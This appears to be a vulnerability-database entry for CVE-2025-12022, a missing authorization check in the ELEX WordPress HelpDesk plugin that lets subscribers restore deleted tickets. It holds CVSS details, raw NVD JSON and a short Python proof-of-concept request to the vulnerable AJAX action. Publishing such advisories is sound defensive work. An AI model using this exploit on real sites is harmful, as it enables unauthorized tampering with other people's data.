Security Vulnerability Report
中文
CVE-2025-12022 CVSS 4.3 MEDIUM

CVE-2025-12022

Published: 2025-11-21 06:15:48
Last Modified: 2025-12-03 18:28:26

Description

The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'eh_crm_settings_restore_trash' AJAX endpoint in all versions up to, and including, 3.3.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to restore all deleted tickets.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:elula:wsdesk:*:*:*:*:free:wordpress:*:* - VULNERABLE
ELEX WordPress HelpDesk & Customer Ticketing System < 3.3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-12022 PoC # ELEX WordPress HelpDesk - Unauthorized ticket restoration target_url = "http://target-wordpress-site.com" # Authenticated user with subscriber-level access cookies = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_logged_in_[hash]": "user_token" } # Payload to restore all deleted tickets via missing capability check data = { "action": "eh_crm_settings_restore_trash", "ticket_id": "all" # or specific ticket ID } response = requests.post( f"{target_url}/wp-admin/admin-ajax.php", cookies=cookies, data=data ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Note: Requires valid WordPress authentication (subscriber role or higher)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12022", "sourceIdentifier": "[email protected]", "published": "2025-11-21T06:15:47.557", "lastModified": "2025-12-03T18:28:25.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'eh_crm_settings_restore_trash' AJAX endpoint in all versions up to, and including, 3.3.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to restore all deleted tickets."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elula:wsdesk:*:*:*:*:free:wordpress:*:*", "versionEndExcluding": "3.3.2", "matchCriteriaId": "6D3C90F8-FBE9-409A-A29E-3D775928E2BF"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3399391/elex-helpdesk-customer-support-ticket-system/trunk/includes/class-crm-archive-ajax-functions.php", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/982b23c5-2414-48f7-a2f5-96fef54f8d69?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}